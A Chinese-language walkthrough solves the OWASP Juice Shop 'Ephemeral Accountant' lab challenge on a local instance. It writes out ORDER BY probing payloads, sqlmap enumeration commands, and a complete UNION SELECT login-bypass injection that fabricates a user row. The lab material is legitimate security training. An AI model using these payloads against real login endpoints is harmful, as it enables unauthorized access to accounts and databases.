# 【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户

# 【juice-shop】★★★★ Ephemeral Accountant：通过 SQL 注入凭空创建临时用户

## 0x01 任务简报

<blockquote style="border-left: 5px solid #ff6b6b; background-color: #ffe0e0; padding: 20px; margin: 1.5rem 0; color: #c92a2a; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">🎯</span> 挑战目标
</div>
在没有注册的情况下使用（不存在的）账号 <code>acc0unt4nt@juice-sh.op</code> 登录。
</blockquote>

<blockquote style="border-left: 5px solid #6f42c1; background-color: #f5f3ff; padding: 20px; margin: 1.5rem 0; color: #5521b5; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">💡</span> 官方提示 (Hints)
</div>
1. 尝试"凭空创建"所需的用户。<br>
2. 用户必须具有短暂性，即"仅持续很短时间"。<br>
3. 使用用户的电子邮件地址进行常规注册显然无法解决此问题。<br>
4. 通过其他方式将用户导入数据库也无法解决此验证问题。<br>
5. 该挑战属于注入类别的这一事实，本身就已揭示了其预期的解决思路。
</blockquote>

---

## 0x02 前置知识

### 临时用户的概念

**Ephemeral（短暂的）** 意味着用户只在当前请求中存在，不会被持久化到数据库。

**实现方式：**
```sql
-- 不是 INSERT，而是在查询时动态构造用户数据
SELECT * FROM users
UNION
SELECT 15, '', 'acc0unt4nt@juice-sh.op', '12345', 'accounting', ...
```

### SQLite 的 UNION 注入

SQLite 支持 UNION 查询，允许攻击者在查询结果中注入虚假数据。

**关键特性：**
- 列数必须匹配
- 数据类型必须兼容
- 可以使用子查询动态构造数据

---

## 0x03 实战：复现漏洞

### 步骤1：抓取登录请求

使用 Burp Suite 或浏览器开发者工具抓取登录请求：

```http
POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{"email":"test@test.com","password":"password"}
```

![登录请求](../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260416203043.png)

### 步骤2：探测 SQL 注入点

在 email 字段中注入 SQL 代码，使用 `ORDER BY` 来确定列数：

**Payload 1：测试 13 列**

```sql
' order by 13 --+
```

**结果：** 返回正常响应 ✅

![ORDER BY 13](../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260416203020.png)

**Payload 2：测试 14 列**

```sql
' order by 14 --+
```

**结果：** 返回错误响应 ❌

![ORDER BY 14](../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260416203214.png)

**结论：** 数据库表有 **13 列**

### 步骤3：使用 SQLMap 进行自动化注入

**第一步：保存请求到文件**

创建 `request.txt` 文件，内容为登录请求：

```
POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

{"email":"*","password":"1"}
```

![保存请求](../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260417091114.png)

**第二步：列出所有表**

```bash
sqlmap -r request.txt -p email --tables --batch --ignore-code=401
```

**结果：**

![表列表](../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260417091404.png)

**第三步：列出 Users 表的列**

```bash
sqlmap -r request.txt -p email -T Users --columns --batch --ignore-code=401
```

**结果：**

![Users 表列](../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260417091602.png)

### 步骤4：构造 UNION 注入 Payload

使用 UNION SELECT 动态创建临时用户：

```sql
' UNION SELECT * FROM (
  SELECT 
    15 as 'id', 
    '' as 'username', 
    'acc0unt4nt@juice-sh.op' as 'email', 
    '12345' as 'password', 
    'accounting' as 'role', 
    '123' as 'deluxeToken', 
    '1.2.3.4' as 'lastLoginIp', 
    '/assets/public/images/uploads/default.svg' as 'profileImage', 
    '' as 'totpSecret', 
    1 as 'isActive', 
    '1999-08-16 14:14:41.644 +00:00' as 'createdAt', 
    '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', 
    null as 'deletedAt'
)--
```

**Payload 说明：**
- `UNION SELECT` - 将虚假数据与真实查询结果合并
- `SELECT ... FROM (...)` - 子查询动态构造用户数据
- 所有 13 列都必须指定
- 数据类型和顺序必须匹配

![构造 Payload](../../../../../../public/p/juice-shop-ephemeral-accountant通过-sql-注入凭空创建临时用户/assets/Pastedimage20260417092450.png)

### 步骤5：使用 Payload 登录

在登录表单中输入 Payload 作为邮箱：

```
邮箱: ' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', 'acc0unt4nt@juice-sh.op' as 'email', '12345' as 'password', 'accounting' as 'role', '123' as 'deluxeToken', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')--
密码: 12345
```

**登录成功！** 🎉
## 参考

- [OWASP Juice Shop 官方解决方案 - Ephemeral Accountant](https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_log_in_with_the_non_existing_accountant_without_ever_registering_that_user)

